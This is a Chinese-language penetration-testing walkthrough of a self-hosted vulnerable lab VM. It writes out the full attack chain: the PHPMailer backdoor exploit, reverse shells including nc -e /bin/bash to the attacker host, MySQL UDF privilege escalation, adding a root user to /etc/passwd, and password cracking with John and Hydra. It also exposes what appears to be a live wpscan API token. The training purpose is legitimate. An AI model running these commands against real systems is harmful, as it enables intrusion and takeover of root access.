十七Seven
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

简介
该项目是William McCann作者的第二个项目的,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。
该项目有始有终会用到 信息收集 -> 端口信息枚举 -> PHPMailer漏洞利用 -> 内网信息枚举 -> mysql UDF 提权 -> John爆破 -> sudo提权 -> UDF拓展知识点,最终拿到flag.txt的过程,那么在八大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
一、信息收集
信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:
1、nmap扫描存活IP
由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息:
本机IP为:192.168.40.177。
发现本kali ip为40段!用40段进行全网段扫描:
nmap -sP 192.168.40.0/24
Nmap scan report for localhost (192.168.40.187)
发现项目IP地址:192.168.40.187。
2、nmap全端口服务枚举
进行namp全端口服务枚举:
nmap -sC -sV -A -T5 -p- 192.168.40.187
得到开放的端口信息:
22/tcp open ssh OpenSSH 6.7p1 Debian 80/tcp open http Apache httpd 2.4.10 111/tcp open rpcbind 2-4 (RPC #100000) 54140/tcp open status 1 (RPC #100024)
开启了22、80、111和54140端口,就从web页面信息枚举信息!
二、端口信息枚举
1、web页面信息枚举
访问web页面模块查看静态源码发现flag:
http://192.168.40.187/service.html
发现flag:flag1{b9bbcb33e11b80be759c4e844862482d}
2、dirb目录爆破
用dirb对web目录进行爆破:
dirb http://192.168.40.187
发现 http://192.168.40.187/vendor/和WordPress博客网站信息,深入枚举!
1)枚举 http://192.168.40.187/vendor/目录
访问vendor目录,发现目录遍历
http://192.168.40.187/vendor/
访问PATH目录获得目录地址:
http://192.168.40.187/vendor/PATH
/var/www/html/vendor/
访问README.md目录发现装了邮箱插件PHPMailer :
http://192.168.40.187/vendor/README.md
枚举获得信息:PHPMailer 发现装了邮箱插件
访问VERSIO目录获得版本信息:
http://192.168.40.187/vendor/VERSIO
枚举获得版本信息:5.2.16
已知插件版本信息,这时候去找EXP!
三、PHPMailer漏洞利用
1、搜索版本py脚本漏洞利用:
searchsploit PHPMailer 5.2.16
发现 php/webapps/40974.py
2、下载py脚本至本地:
locate php/webapps/40974.py cp /usr/share/exploitdb/exploits/php/webapps/40974.py .
3、配置py参数:
gedit 40974.py
41行:改下地址:http://192.168.40.187/contact.php 42行:后门名称:/test.php 44行:改下回弹的IP和端口 192.168.40.177 4444 47行:改下写入shell的目录:/var/www/html/test.php
4、Python运行py脚本
python3 40974.py
如果环境报错按照环境安装:
需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。
5、访问URL生成后门文件test.php:
http://192.168.40.187/contact.php
6、本地开启监听:
nc -vlp 4444
7、访问URL后门文件:
http://192.168.40.187/test.php
8、获得反弹shell
python -c 'import pty;pty.spawn("/bin/bash")'
获得普通用户权限!
为便于操作,获取稳定shell
1)先改为bash模式
chsh -s /bin/bash
2)切换窗口后重新反弹shell
nc -vlp 4444 python -c 'import pty;pty.spawn("/bin/bash")' stty raw -echo fg
稳定shell获取成功!
9、发现flag2
在www目录下发现flag
cd /var/www ls cat flag2.txt
发现flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
四、内网信息收集
1、linpeas.sh信息枚举
开启Python http服务,上传枚举脚本linpeas.sh
python -m SimpleHTTPServer 8081 wget http://192.168.40.177:8081/linpeas.sh
赋权并执行脚本
chmod +x linpeas.sh ./linpeas.sh
发现开启了3306、587和25端口:
发现新用户信息:michael、steven
获得mysql账号密码信息!
mysql账号密码信息:
define('DB_USER', 'root'); define('DB_PASSWORD', 'R@v3nSecurity');
2、查看是否能udf提权
条件1:查看是否是root权限运行
ps aux | grep root ---查看mysql进程信息
进程都是以root权限运行的!
条件2:查看mysql版本
dpkg -l | grep mysql --查看历史安装包版本 5.5.6
mysql版本是5.5.6,存在UDF提取漏洞
mysql是root权限运行的,那么接下来就找mysql提权的方法。
五、mysql UDF 提权
1、首先看一下是否满足写入条件:
mysql -uroot -pR@v3nSecurity use mysql show global variables like 'secure%';
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权 2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权 3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权! 4)如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
2、查看插件目录:
show variables like '%plugin%';
查询目录地址为:/usr/lib/mysql/plugin/
3、查看能否远程登陆:
use mysql; select user,host from user;
发现这里root用户不允许远程登陆,因此不能利用MSF提权。
UDF 提权、MOF 提权是非常经典的提权方法!
可参考https://blog.csdn.net/qq_36119192/article/details/84863268
4、udf漏洞搜索
谷歌搜索:mysql 5.x UDF exploit 或者 searchsploit udf
https://www.exploit-db.com/exploits/1518
searchsploit udf
发现linux/local/1518.c脚本
将脚本下载至本地
locate linux/local/1518.c cp /usr/share/exploitdb/exploits/linux/local/1518.c . ls
查看脚本利用信息
cat 1518.c
按照图上脚本利用方法进行利用!
GCC编译.o文件
gcc -g -c 1518.c
编译.o文件成功!
创建动态链接库,将.o文件调试为.so执行文件
gcc -g -shared -o test.so 1518.o -lc
成功编译test.so文件!
-g 生成调试信息 -c 编译(二进制) -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。 -o:执行命令后的文件名 -lc:-l 库 c库名
将木马文件上传至靶机
wget http://192.168.40.177:8081/test.so
5、漏洞利用
登录MySQL:
mysql -uroot -pR@v3nSecurity use mysql
进入数据库创建数据表test:
create table test(line blob); show tables;
数据表test创建成功!
插入数据文件:
insert into test values(load_file('/tmp/test.so'));
test 表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出;outfile会有特殊的转换,而dumpfile是原数据导出!
利用dumpfile函数把文件导出至/usr/lib/mysql/plugin目录下,新建存储函数:
select * from test into dumpfile '/usr/lib/mysql/plugin/test.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'test.so';
新建存储函数成功!
查看以下创建的函数:
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');
执行find命令,使用find执行 shell
touch test #创建test文件 find test -exec "/bin/sh" \;或者:find test -exec "id" \; #find查找test文件,执行exec输入/bin/sh 就可以执行获得sh的shell了。 cd /root cat flag4.txt
获得flag4{df2bc5e951d91581467bb9a2a8ff4425}
六、John爆破
枚举发现信息wordpress数据库:
mysql -uroot -pR@v3nSecurity show databases; use wordpress show tables;
发现表wp_users
查询wp_users表
select * from wp_users;
发现用户密匙
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
将密匙放入1.txt
John爆破密码
john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt
获得用户密码: steven/pink84
七、sudo提权
利用获得的账户密码登录ssh:
ssh steven@192.168.40.187 python -c 'import pty; pty.spawn("/bin/bash")'
尝试sudo
sudo -l
发现是python给与的最高权限!
User steven may run the following commands on raven: (ALL) NOPASSWD: /usr/bin/python
这时候用sudo执行python就能拿到root的shell!
sudo python -c 'import pty; pty.spawn("/bin/bash")'
成功获取root权限!
在数据库wordpress的wp_posts表中发现flag:
select * from wp_posts;
获得flag!
flag3{afc01ab56b50591e7dccf93122770cd2} flag4{715dea6c055b9fe3337544932f2941ce}
八、UDF拓展知识点
1、nc反弹shell
本地kali开启监听:
nc -vlp 6677
调用do_system函数来给nc命令所有者的suid权限,使其可以执行root命令:
select do_system('nc -nv 192.168.40.177 6677 -e /bin/bash');
成功反弹shell!
2、创建root权限用户
1)先生成root11明文的秘钥
openssl passwd root11 j.beG3DJSb8OU #明文的秘钥
2)生成密匙后通过do_system执行命令,创建一个用户写入passwd内
select do_system('echo "root11:j.beG3DJSb8OU:0:0:root:/root:/bin/bash" >> /etc/passwd');
写入成功!
3)查询是否写入成功
cat /etc/passwd
写入账户成功!
4)那么存在这个用户后就可以进行该用户登录啦
su root11 root11
成功获得root权限用户!
3、hydra爆破
利用hydra脚本爆破枚举用户:michael、steven
先将michael、steven放入user.txt中,在利用hydra爆破
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.40.187 ssh
成功获取账户密码michael/michael
[22][ssh] host: 192.168.40.187 login: michael password: michael
4、 wpscan扫描
dirb扫描发现存在WordPress博客站,利用wpscan扫描:
wpscan --url http://192.168.40.187/wordpress -eu
提示需要密匙,到该网址获取:https://wpscan.com/register
wpscan --url http://192.168.40.187/wordpress -eu --api-token mXMGZrqLpKjKn9jvNinwdBXT1zndUI6hS3N87nlz0eM
可以发现michael、steven用户信息!
5、AWVS漏扫
利用AWVS漏扫发现WordPress 版本漏洞
http://192.168.40.187/
漏扫发现:WordPress 4.8.x Multiple Vulnerabilities (4.8 - 4.8.15)
九、总结
通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如 nmap信息枚举、Web页面信息枚举、dirb目录爆破、phpmailer漏洞利用、UDF提权、John爆破、sudo提权、hydra爆破、nc反弹shell、创建root权限用户等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!
希望大家提高安全意识,没有网络安全就没有国家安全!
作者:十七
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)